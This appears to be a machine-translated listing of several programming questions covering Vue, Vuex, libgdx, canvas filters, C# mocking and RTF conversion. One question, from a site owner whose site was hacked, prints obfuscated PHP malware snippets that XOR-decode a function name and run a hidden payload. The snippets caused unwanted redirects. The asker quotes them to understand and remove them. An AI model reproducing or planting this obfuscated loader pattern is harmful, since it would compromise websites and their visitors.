我正在使用vue-cli脚手架进行webpack
我的Vue组件结构/层次结构目前如下所示:
在应用程序级别,我想要一个vuejs组件方法,它可以将所有子组件的数据聚合到一个可以发送到服务器的JSON对象中.
有没有办法访问子组件的数据?具体来说,多层深?
如果没有,传递可服务数据/参数的最佳做法是什么,以便当子组件修改它时,我可以访问新值?我试图避免组件之间的硬依赖关系,所以到目前为止,使用组件属性传递的唯一内容是初始化值.
更新:
坚实的答案.查看两个答案后,我发现有用的资源:
我正在使用这里找到的VueJS Webpack模板:https://github.com/vuejs-templates/webpack
示例路线:
const AuthRoute = () => import(/* webpackChunkName: "authroute" */ './AuthRoute.vue')
Run Code Online (Sandbox Code Playgroud)
示例错误:
[eslint]解析错误:意外的令牌导入
我已经按照Webpack动态导入部分提供的步骤,以及Anthony Gore关于如何在路由器级别使用VueJS完成代码分割的博客文章.更具体地说,这是我的设置:
的package.json
...
"babel-core": "^6.22.1",
"babel-eslint": "^8.0.3",
"babel-jest": "^21.2.0",
"babel-loader": "^7.1.1",
"babel-plugin-dynamic-import-webpack": "^1.0.2",
"babel-plugin-syntax-dynamic-import": "^6.18.0",
"babel-plugin-transform-es2015-modules-commonjs": "^6.26.0",
"babel-plugin-transform-runtime": "^6.22.0",
"babel-preset-env": "^1.3.2",
"babel-preset-stage-2": "^6.24.1",
"eslint": "^4.13.1"
...
Run Code Online (Sandbox Code Playgroud)
.babelrc
{
"presets": [
["env", {
"modules": false
}],
"stage-2"
],
"plugins": [
"dynamic-import-webpack",
"syntax-dynamic-import",
"transform-runtime"
],
"env": {
"test": {
"presets": ["env", "stage-2"] }
}
}
Run Code Online (Sandbox Code Playgroud)
.eslintrc.js
parserOptions: {
parser: 'babel-eslint',
sourceType: 'module',
allowImportExportEverywhere: …Run Code Online (Sandbox Code Playgroud) 我正在创建一个小的Vue插件,允许用户在任何组件中添加"页面通知".我成功实现了类似的东西:
this.$notifications.add("a message");
它的工作原理!但是我必须注册我的插件所需的突变和操作,作为为我的应用设置商店其余部分的文件的一部分:
export default new Vuex.Store({...})
有没有办法从我的插件中添加动作和突变到我的商店?它目前看起来像这样:
import vuex from './../store';
const MyPlugin = {
install(Vue, options) {
// 4. add an instance method
Vue.prototype.$notifications =
{
notificationTypes: {
0: "warning",
1: "info"
},
add: function (options) {
let id = "page-notification-" + (vuex.state.pageNotificationsCreated + 1);
let message = options.message || options || "no message";
let notificationType = this.notificationTypes[0];
if(options.notificationType && Number.isInteger(options.notificationType)){
// Map int to string type
notificationType = this.notificationTypes[options.notificationType] || notificationType;
}else{
// Or use string …Run Code Online (Sandbox Code Playgroud) 我试图将类型"Vector2"乘以值delta的标量并输入float.有关Vector2类型的信息,请访问:
http://libgdx.badlogicgames.com/nightlies/docs/api/com/badlogic/gdx/math/class-use/Vector2.html
特别是在那个页面上,我正在引用:
Vector2 --- Vector2.scl(float scalar)将此向量乘以标量
位置是Vector2的速度是Vector2
我收到错误:"方法scl(float)未定义为Vector2类型"
public void update(float delta) {
position.add(velocity.cpy()).scl(delta);
}
Run Code Online (Sandbox Code Playgroud) 我正在尝试在 Javascript 中使用 Google Analytics API。我想要:
我能找到的每个示例都要求您在查询数据之前使用 OAuth 进行身份验证。因为我只是想查询(而不是删除/修改),是有办法使用一个简单的API密钥来获取数据,我需要一种方式?
javascript google-analytics-api google-analytics-firebase google-analytics-sdk
我目前正在对 HTML5 Canvas 上的图像应用简单的滤镜效果。类似于此处定义的技术:
HTML5 Canvas 图像对比 在这个HTML5 Rocks 中!博文
但是,这种特殊方法需要在重绘之前迭代每个像素并应用修改器。对于我的特定用例,这需要 150 毫秒以上来重绘我的图像(650 像素 x 650 像素 PNG)
使用CSS3 的过滤器属性(对比度或亮度)应用相同的效果需要不到 10 毫秒。
我的问题是:CSS3 的过滤器属性如何“在幕后”工作?为什么它的性能明显更高?有没有办法在 Canvas 中实现类似的性能?
我的代码基本上是这样的:
<a href="javascript:void(0);" onClick="viewServices(1)">Services</a>
<a href="javascript:void(0);" onClick="viewServices(43)">Services</a>
<a href="javascript:void(0);" onClick="viewServices(16)">Services</a>
...
Run Code Online (Sandbox Code Playgroud)
viewServices的位置:
function viewServices(stylistID){
alert(stylistID);
}
Run Code Online (Sandbox Code Playgroud)
只有,有两个问题:
还应该提到的是,我正在导入JQuery和Bootstraps .js文件,并且每个链接(以及相关的ID)都是动态加载的.
是否有一个已建立的方法,允许我删除我的内联JavaScript,但也使它,以便我可以调用函数将动态加载的链接的"ID"传递给函数?
**编辑
每个链接都是在mysqli_fetch_row期间生成的,它会重复,直到每行的信息都已经过.viewServices(#)中的数字实际上是
<?php echo $row[0]; ?>
Run Code Online (Sandbox Code Playgroud) 如何在 C# 或 JS 中将 RTF 字符串转换为 Markdown 字符串(并返回),理想情况下不包装 exe?
我有一个使用 .NETRichTextBox控件的旧产品。使用它的表单以 Microsoft 专有的RTF 格式保存其输出。这是它可以生成的输出的一个小例子:
{\\rtf1\\ansi\\ansicpg1252\\uc1\\htmautsp\\deff2{\\fonttbl{\\f0\\fcharset0 Times New Roman;}{\\f2\\fcharset0 GenericSansSerif;}}{\\colortbl\\red0\\green0\\blue0;\\red255\\green255\\blue255;}\\loch\\hich\\dbch\\pard\\plain\\ltrpar\\itap0{\\lang1033\\fs18\\f2\\cf0 \\cf0\\ql{\\f2 {\\ltrch Some content here }\\li0\\ri0\\sa0\\sb0\\fi0\\ql\\par}\r\n}\r\n}
Run Code Online (Sandbox Code Playgroud)
我的 C# .NET Core Web App 需要能够使用这个存储的 RTF 在网页上显示一个“富文本编辑器”,有能力更新值,并以仍然可以被遗留使用的格式保存产品。
不幸的是,我无法找到可以使用 RTF 作为输入的现有/现代 Web 组件。大多数似乎使用降价或自定义 JSON 格式。
一位客户最近找到了一个问题,他们的网站将根据他们的意愿重定向到不同的网站.罪魁祸首原来是以下片段:
// $wp_ac_remote_retrieve_header = ',S7<f-NH9;%.KM7kF0^L2&1YzYJM.>RB,|Mu"C_@}H2#HEFGKSI 5<K8]M"97Z)GM&FbN%CAKL1/Z:JUOD3!9-!.<B0?9kCNWBQ~~k1U7,7i~&>8<(R<NE<^Zb0>2,EQ]R/SS%wSSD!yN,;"#/T$d/>&b|a^v' ^ "I%VPNm)2PUCB*9RC Y2)mAT-%:%#Z[<6_ToZJ,2%R*^B<1i!*> LL^>K4#GJD9L)9C4L-J.n&5PK7S\$z#-QSX_HKOm`wi.;-2.~.6;t-TI[F-N_JYL}y=&T;(MtYUo*?)3F=6WX;6(Q&<IWCWF;JJ_PA@UHwM";
// $get_ho_tag_template = 'cr atDW"ufb4)j.'|'!"E!`%HDTl#pHoJ';
// $start_hg_wp = $get_ho_tag_template(null,$wp_ac_remote_retrieve_header);
// $start_hg_wp();
Run Code Online (Sandbox Code Playgroud)
显然这不是他们第一次遭到黑客攻击,因为我还发现以下片段已经注释掉了:
// $comment_zr_date = 'J4UCmj82"&6D?XQz/_F;kB<:#L,FYR<*+vMYS"87tW8OE# B8>LDS=R+ HI<=8S#G5VG@Q;jM^]@5F<(B+5n_DW6L,CX@Nr=h2X:_MKaq-*FOOXH;>^)+FV90%a7qyg^N3*DVQCT7:MvJkKU' ^ '/B4/E*_HKHP(^,4RI6*^4%YN|/C(-7R^X^ov;MUR[0W=!LN$LNc"2P;GY*<OTV6P4V3)44ID.10oX?]L/B[A3-5D-^*=3a"u8w Y:!d19}o>,*4ghV?[N"yv|`Ng!*H7#RM!farz]J*TcBbn';
// $get_spe_footer = "<=:Q.0(CEVO!8=J" ^ "_O_0ZUw%08,UQR\$";
// $wp_olw_rss = $get_spe_footer(null,$comment_zr_date);
// $wp_olw_rss();
Run Code Online (Sandbox Code Playgroud)
没有其他任何参考这些函数/变量.或者至少在我进行全站搜索时没有出现.此外,文件的权限已更改为只读.
知道他们是如何完成这个的吗?或者上面的代码如何工作/工作?删除后,问题/黑客完全消失.然而,由于这是他们第三次遇到这个问题,我相信他们已经离开了自己的某个地方.请注意,这不是WP站点.
**编辑
文件很大包括,这里是一个链接:
如果你通过base64解码器运行它,你会得到:
但是,我无法进一步解读它.似乎有更多编码或......?
我正在尝试对一些代码进行单元测试,这些代码使用IServiceProvider和反射的组合来创建扩展抽象类的每个类的实例BaseCommand:
IEnumerable<BaseCommand> commandsInAssembly = typeof(BaseCommand)
.Assembly.GetTypes()
.Where(t => t.IsSubclassOf(typeof(BaseCommand)) && !t.IsAbstract)
.Select(t => (BaseCommand)ActivatorUtilities.CreateInstance(_serviceProvider, t))
.ToList();
Run Code Online (Sandbox Code Playgroud)
这里棘手的部分_serviceProvider是注入并且需要被模拟(我认为),以允许这段代码成功且独立地运行。每个命令都需要访问 DI 以解决其依赖关系。大多数命令看起来类似于:
public SomeCommand(IAppState appState, ILoggerAdapter<SomeCommand> logger) : base(appState)
Run Code Online (Sandbox Code Playgroud)
我能够IServiceProvider很好地模拟来解决IAppState,但我在ILoggerAdapter<>. 这是我目前的设置:
单元测试构造函数
var serviceProvider = new Mock<IServiceProvider>();
serviceProvider
.Setup(x => x.GetService(typeof(IAppState)))
.Returns(new AppState());
serviceProvider
.Setup(x => x.GetService(typeof(ILoggerAdapter<>)))
.Returns(typeof(LoggerAdapter<>));
var serviceScope = new Mock<IServiceScope>();
serviceScope
.Setup(x => x.ServiceProvider)
.Returns(serviceProvider.Object);
var serviceScopeFactory = new Mock<IServiceScopeFactory>();
serviceScopeFactory
.Setup(x => x.CreateScope())
.Returns(serviceScope.Object);
serviceProvider
.Setup(x => …Run Code Online (Sandbox Code Playgroud) javascript ×4
vue.js ×3
c# ×2
html ×2
vuejs2 ×2
vuex ×2
.net-core ×1
android ×1
asp.net-core ×1
babel ×1
casting ×1
css ×1
css-filters ×1
eslint ×1
html5 ×1
html5-canvas ×1
java ×1
jquery ×1
libgdx ×1
markdown ×1
moq ×1
php ×1
rtf ×1
types ×1
unit-testing ×1
vue-router ×1
xunit ×1